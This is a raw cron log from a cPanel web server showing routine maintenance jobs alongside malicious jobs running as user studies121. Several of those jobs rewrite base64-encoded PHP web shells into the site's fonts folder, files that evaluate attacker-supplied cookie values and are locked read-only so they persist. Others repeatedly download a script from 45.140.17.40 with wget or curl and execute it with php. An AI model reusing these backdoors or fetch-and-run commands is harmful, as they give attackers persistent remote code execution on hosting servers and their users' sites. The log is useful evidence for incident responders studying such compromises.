Sep  8 04:00:01 ip-184-168-122-23 CROND[5838]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 04:00:01 ip-184-168-122-23 CROND[5843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:00:01 ip-184-168-122-23 CROND[5844]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:00:01 ip-184-168-122-23 CROND[5845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:00:01 ip-184-168-122-23 CROND[5846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:00:01 ip-184-168-122-23 CROND[5848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:00:01 ip-184-168-122-23 CROND[5847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:00:01 ip-184-168-122-23 CROND[5849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:01:01 ip-184-168-122-23 CROND[5983]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5983]: starting 0anacron
Sep  8 04:01:01 ip-184-168-122-23 CROND[5992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:01:01 ip-184-168-122-23 CROND[5990]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 04:01:01 ip-184-168-122-23 CROND[5993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:01:01 ip-184-168-122-23 CROND[5991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:01:01 ip-184-168-122-23 CROND[5989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6004]: finished 0anacron
Sep  8 04:02:01 ip-184-168-122-23 CROND[6105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:02:01 ip-184-168-122-23 CROND[6107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:02:01 ip-184-168-122-23 CROND[6106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:02:01 ip-184-168-122-23 CROND[6109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:02:01 ip-184-168-122-23 CROND[6108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:03:01 ip-184-168-122-23 CROND[6203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:03:01 ip-184-168-122-23 CROND[6205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:03:01 ip-184-168-122-23 CROND[6204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:03:01 ip-184-168-122-23 CROND[6206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:04:02 ip-184-168-122-23 CROND[6326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:04:02 ip-184-168-122-23 CROND[6328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:04:02 ip-184-168-122-23 CROND[6330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:04:02 ip-184-168-122-23 CROND[6329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:04:02 ip-184-168-122-23 CROND[6332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:05:01 ip-184-168-122-23 CROND[6422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:05:01 ip-184-168-122-23 CROND[6424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:05:01 ip-184-168-122-23 CROND[6428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:05:01 ip-184-168-122-23 CROND[6427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:05:01 ip-184-168-122-23 CROND[6425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:05:01 ip-184-168-122-23 CROND[6426]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 04:05:01 ip-184-168-122-23 CROND[6429]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:06:01 ip-184-168-122-23 CROND[6536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:06:01 ip-184-168-122-23 CROND[6537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:06:01 ip-184-168-122-23 CROND[6539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:06:01 ip-184-168-122-23 CROND[6540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:06:01 ip-184-168-122-23 CROND[6541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:07:01 ip-184-168-122-23 CROND[6746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:07:01 ip-184-168-122-23 CROND[6749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:07:01 ip-184-168-122-23 CROND[6752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:07:01 ip-184-168-122-23 CROND[6751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:08:01 ip-184-168-122-23 CROND[6849]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:08:01 ip-184-168-122-23 CROND[6848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:08:01 ip-184-168-122-23 CROND[6847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:08:01 ip-184-168-122-23 CROND[6846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:08:01 ip-184-168-122-23 CROND[6850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:09:02 ip-184-168-122-23 CROND[6945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:09:02 ip-184-168-122-23 CROND[6948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:09:02 ip-184-168-122-23 CROND[6947]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 04:09:02 ip-184-168-122-23 CROND[6946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:09:02 ip-184-168-122-23 CROND[6949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:10:01 ip-184-168-122-23 CROND[7072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:10:01 ip-184-168-122-23 CROND[7068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:10:01 ip-184-168-122-23 CROND[7071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:10:01 ip-184-168-122-23 CROND[7073]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:10:01 ip-184-168-122-23 CROND[7069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:10:01 ip-184-168-122-23 CROND[7074]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:10:01 ip-184-168-122-23 CROND[7070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:10:01 ip-184-168-122-23 CROND[7075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:11:01 ip-184-168-122-23 CROND[7221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:11:01 ip-184-168-122-23 CROND[7222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:11:01 ip-184-168-122-23 CROND[7220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:11:01 ip-184-168-122-23 CROND[7223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
